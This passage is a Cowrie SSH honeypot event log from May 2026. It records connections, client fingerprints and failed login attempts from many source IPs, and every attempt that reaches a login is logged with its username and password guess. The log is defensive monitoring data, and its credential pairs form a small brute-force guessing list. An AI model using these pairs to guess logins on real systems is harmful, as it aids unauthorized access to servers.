{"eventid":"cowrie.login.failed","username":"root","password":"Pa123456","message":"login attempt [root/Pa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:49.291901Z","src_ip":"144.91.86.102","session":"ccb18efec878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:50.391387Z","src_ip":"144.91.86.102","session":"ccb18efec878","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.111.13","src_port":60250,"dst_ip":"159.203.135.109","dst_port":22,"session":"24151f14f321","protocol":"ssh","message":"New connection: 14.103.111.13:60250 (159.203.135.109:22) [session: 24151f14f321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:51.265870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:51.275462Z","src_ip":"14.103.111.13","session":"24151f14f321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:51.498629Z","src_ip":"14.103.111.13","session":"24151f14f321","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server01","message":"login attempt [root/Server01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:52.390058Z","src_ip":"14.103.111.13","session":"24151f14f321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:57:06.419349Z","src_ip":"14.103.111.13","session":"24151f14f321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":39876,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf8a19b4fd75","protocol":"ssh","message":"New connection: 95.58.255.251:39876 (10.17.0.5:22) [session: cf8a19b4fd75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:57:14.983177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:57:14.988547Z","src_ip":"95.58.255.251","session":"cf8a19b4fd75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:57:15.153713Z","src_ip":"95.58.255.251","session":"cf8a19b4fd75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:57:15.843747Z","src_ip":"95.58.255.251","session":"cf8a19b4fd75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":38396,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b80afbabea6","protocol":"ssh","message":"New connection: 192.169.243.246:38396 (159.203.135.109:22) [session: 4b80afbabea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:57:16.003331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:57:16.010953Z","src_ip":"192.169.243.246","session":"4b80afbabea6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:57:16.086869Z","src_ip":"192.169.243.246","session":"4b80afbabea6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rosen","message":"login attempt [root/rosen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:57:16.423099Z","src_ip":"192.169.243.246","session":"4b80afbabea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:57:17.013844Z","src_ip":"95.58.255.251","session":"cf8a19b4fd75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:57:17.503275Z","src_ip":"192.169.243.246","session":"4b80afbabea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":60738,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d3ec62c6a87","protocol":"ssh","message":"New connection: 43.162.109.147:60738 (10.17.0.5:22) [session: 4d3ec62c6a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:57:25.971565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:57:25.975777Z","src_ip":"43.162.109.147","session":"4d3ec62c6a87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:57:26.043300Z","src_ip":"43.162.109.147","session":"4d3ec62c6a87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"just4you","message":"login attempt [root/just4you] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:57:26.345983Z","src_ip":"43.162.109.147","session":"4d3ec62c6a87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:57:27.417263Z","src_ip":"43.162.109.147","session":"4d3ec62c6a87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":33662,"dst_ip":"159.203.135.109","dst_port":22,"session":"25430020075a","protocol":"ssh","message":"New connection: 138.99.80.102:33662 (159.203.135.109:22) [session: 25430020075a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:07.109995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:07.113979Z","src_ip":"138.99.80.102","session":"25430020075a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:07.228320Z","src_ip":"138.99.80.102","session":"25430020075a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alinutzuhacker","message":"login attempt [root/alinutzuhacker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:07.717286Z","src_ip":"138.99.80.102","session":"25430020075a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":42436,"dst_ip":"159.203.135.109","dst_port":22,"session":"46d806b961bf","protocol":"ssh","message":"New connection: 200.108.174.4:42436 (159.203.135.109:22) [session: 46d806b961bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:08.415794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:08.421173Z","src_ip":"200.108.174.4","session":"46d806b961bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":56066,"dst_ip":"159.203.135.109","dst_port":22,"session":"9976fe5aa0da","protocol":"ssh","message":"New connection: 36.95.194.51:56066 (159.203.135.109:22) [session: 9976fe5aa0da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:08.469998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:08.476576Z","src_ip":"36.95.194.51","session":"9976fe5aa0da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:08.572310Z","src_ip":"200.108.174.4","session":"46d806b961bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:08.750784Z","src_ip":"36.95.194.51","session":"9976fe5aa0da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:08.835133Z","src_ip":"138.99.80.102","session":"25430020075a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testuser11","message":"login attempt [root/testuser11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:09.203816Z","src_ip":"200.108.174.4","session":"46d806b961bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:09.880653Z","src_ip":"36.95.194.51","session":"9976fe5aa0da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:10.357121Z","src_ip":"200.108.174.4","session":"46d806b961bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:11.158612Z","src_ip":"36.95.194.51","session":"9976fe5aa0da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":34428,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a591f249abb","protocol":"ssh","message":"New connection: 144.91.86.102:34428 (10.17.0.5:22) [session: 9a591f249abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:25.661922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:25.666567Z","src_ip":"144.91.86.102","session":"9a591f249abb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:25.760236Z","src_ip":"144.91.86.102","session":"9a591f249abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anthony","message":"login attempt [root/anthony] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:26.160004Z","src_ip":"144.91.86.102","session":"9a591f249abb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":42068,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0cab8d92803","protocol":"ssh","message":"New connection: 95.58.255.251:42068 (10.17.0.5:22) [session: f0cab8d92803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:26.798820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:58:26.803988Z","src_ip":"95.58.255.251","session":"f0cab8d92803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes1